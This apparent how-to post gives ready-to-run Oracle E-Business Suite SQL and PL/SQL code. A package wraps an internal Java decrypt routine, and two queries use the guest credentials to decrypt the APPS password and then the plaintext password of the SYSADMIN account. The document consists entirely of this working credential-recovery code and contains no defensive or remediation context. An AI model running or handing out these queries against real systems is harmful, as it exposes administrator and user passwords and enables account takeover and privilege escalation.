How to find password of a User in Oracle Apps
Create Package and run query
--Package Specification
CREATE OR REPLACE PACKAGE get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END get_pwd;
/
--Package Body
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/
--Query to execute
SELECT usr.user_name,
get_pwd.decrypt
((SELECT (SELECT get_pwd.decrypt
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
'/'
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROM fnd_user usr
WHERE usr.user_name = 'SYSADMIN';
or
Select Usertable.User_Name , (Select get_pwd.Decrypt (Upper ((Select
(Select get_pwd.Decrypt (Upper ((Select Upper (Fnd_Profile.Value ('Guest_User_Pwd'))
From Dual)), Usertable.Encrypted_Foundation_Password) From Dual) As Apps_Password
From Fnd_User Usertable
Where Usertable.User_Name Like Upper ((Select Substr (Fnd_Profile.Value ('Guest_User_Pwd') ,
1 , Instr (Fnd_Profile.Value ('Guest_User_Pwd'), '/') - 1 ) From Dual)))) ,Usertable.Encrypted_User_Password)
From Dual) As Encrypted_User_Password From Fnd_User Usertable Where Usertable.User_Name Like Upper ('SYSADMIN');
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